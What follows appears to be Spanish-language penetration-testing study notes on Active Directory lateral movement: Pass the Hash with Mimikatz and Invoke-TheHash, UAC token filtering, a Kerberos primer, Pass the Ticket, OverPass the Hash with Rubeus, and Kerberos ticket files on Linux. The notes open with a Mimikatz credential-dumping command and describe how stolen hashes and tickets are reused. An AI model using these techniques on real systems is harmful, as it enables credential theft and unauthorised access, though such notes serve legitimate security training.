Pass the Hash with Mimikatz (Windows)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

• Mimikatz

• /user- El nombre de usuario que queremos suplantar.

• /rc4 o /NTLM- Hash NTLM de la contraseña del usuario.

• /domain- Dominio al que pertenece el usuario a suplantar. En el caso de una cuenta de usuario local, podemos utilizar el nombre del equipo, localhost o un punto (.).

• /run- El programa que queremos ejecutar con el contexto del usuario (si no se especifica, ejecutará cmd.exe).

Pass the Hash with PowerShell Invoke-TheHash (Windows)

Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en Windows es Invoke-TheHash

• Target- Nombre de host o dirección IP del objetivo.

• Username- Nombre de usuario a utilizar para la autenticación.

• Domain- Dominio que se utilizará para la autenticación. Este parámetro no es necesario con cuentas locales ni cuando se utiliza @dominio después del nombre de usuario.

• Hash- Hash de contraseña NTLM para autenticación. Esta función aceptará el formato LM:NTLM o NTLM.

• Command- Comando que se ejecutará en el destino. Si no se especifica un comando, la función comprobará si el nombre de usuario y el hash tienen acceso a WMI en el destino.

Los límites de UAC pasan el hash para las cuentas locales

El UAC (Control de cuentas de usuario) limita la capacidad de los usuarios locales para realizar operaciones de administración remota. Cuando la clave de registro HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicyse establece en 0, significa que la cuenta de administrador local integrada (RID-500, "Administrador") es la única cuenta local a la que se le permite realizar tareas de administración remota. Si se establece en 1, también se permite a los demás administradores locales.

Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy .

Pass the Ticket (PtT) from Windows

Otro método para moverse lateralmente en un entorno de Active Directory se denomina Pass the Ticket (PtT) attack. En este ataque, utilizamos un ticket de Kerberos robado para movernos lateralmente en lugar de un hash de contraseña NTLM.

Kerberos Protocol Refresher

El sistema de autenticación Kerberos se basa en tickets. La idea central detrás de Kerberos no es dar una contraseña de cuenta a cada servicio que se utiliza. En cambio, Kerberos conserva todos los tickets en el sistema local y presenta a cada servicio solo el ticket específico para ese servicio, lo que evita que un ticket se utilice para otro propósito.

• El TGT - Ticket Granting Ticketes el primer ticket obtenido en un sistema Kerberos. El TGT permite al cliente obtener tickets Kerberos adicionales o TGS.

• Los usuarios los TGS - Ticket Granting Servicesolicitan cuando quieren utilizar un servicio. Estos tickets permiten que los servicios verifiquen la identidad del usuario.

Cuando un usuario solicita un ticket TGT, debe autenticarse en el controlador de dominio cifrando la marca de tiempo actual con el hash de su contraseña. Una vez que el controlador de dominio valida la identidad del usuario (porque el dominio conoce el hash de la contraseña del usuario, lo que significa que puede descifrar la marca de tiempo), envía al usuario un TGT para futuras solicitudes. Una vez que el usuario tiene su ticket, no tiene que demostrar quién es con su contraseña.

Si el usuario desea conectarse a una base de datos MSSQL, solicitará un Ticket Granting Service (TGS) al Centro de Distribución de Claves (KDC), presentando su Ticket Granting Ticket (TGT). Luego entregará el TGS al servidor de base de datos MSSQL para su autenticación.

Pass the Ticket (PtT) Attack

Necesitamos un ticket Kerberos válido para realizar una operación Pass the Ticket (PtT). Puede ser:

• Ticket de servicio (TGS - Ticket Granting Service) para permitir el acceso a un recurso en particular.

• Ticket Granting Ticket (TGT), que utilizamos para solicitar tickets de servicio para acceder a cualquier recurso para el cual el usuario tenga privilegios.

Pass the Key or OverPass the Hash

La técnica tradicional Pass the Hash (PtH)implica reutilizar un hash de contraseña NTLM que no toca Kerberos. El enfoque Pass the Keyor OverPass the Hashconvierte un hash/clave (rc4_hmac, aes256_cts_hmac_sha1, etc.) para un usuario unido a un dominio en un hash completo Ticket-Granting-Ticket (TGT). Esta técnica fue desarrollada por Benjamin Delpy y Skip Duckwall en su presentación Abusing Microsoft Kerberos - Sorry you guys don't get it . Will Schroeder también adaptó su proyecto para crear la herramienta Rubeus .

Para falsificar nuestros tickets, necesitamos tener el hash del usuario; podemos usar Mimikatz para volcar todas las claves de cifrado Kerberos de los usuarios mediante el módulo sekurlsa::ekeys. Este módulo enumerará todos los tipos de claves presentes para el paquete Kerberos.

Esto creará una nueva cmd.exeventana que podemos usar para solicitar acceso a cualquier servicio que queramos en el contexto del usuario objetivo.

Para falsificar un ticket usando Rubeus, podemos usar el módulo asktgtcon el nombre de usuario, el dominio y el hash que puede ser /rc4, /aes128, /aes256o /des. En el siguiente ejemplo, usamos el hash aes256 de la información que recopilamos usando Mimikatz sekurlsa::ekeys.

Pass The Ticket with PowerShell Remoting (Windows)

PowerShell Remoting nos permite ejecutar scripts o comandos en un equipo remoto. Los administradores suelen utilizar PowerShell Remoting para administrar equipos remotos en la red. Al habilitar PowerShell Remoting se crean escuchas HTTP y HTTPS. La escucha se ejecuta en el puerto estándar TCP/5985 para HTTP y TCP/5986 para HTTPS.

Rubeus tiene la opción createnetonly, que crea un proceso de sacrificio/sesión de inicio de sesión ( Tipo de inicio de sesión 9 ). El proceso está oculto de forma predeterminada, pero podemos especificar el indicador /showpara mostrar el proceso y el resultado es el equivalente a runas /netonly. Esto evita el borrado de los TGT existentes para la sesión de inicio de sesión actual.

Pass the Ticket (PtT) from Linux

En la mayoría de los casos, las máquinas Linux almacenan los tickets Kerberos como ccache files en el /tmpdirectorio. De forma predeterminada, la ubicación del ticket Kerberos se almacena en la variable de entorno KRB5CCNAME. Esta variable puede identificar si se están utilizando tickets Kerberos o si se ha cambiado la ubicación predeterminada para almacenar tickets Kerberos. Estos ccache files están protegidos por permisos de lectura y escritura, pero un usuario con privilegios elevados o privilegios de root podría acceder fácilmente a estos tickets.
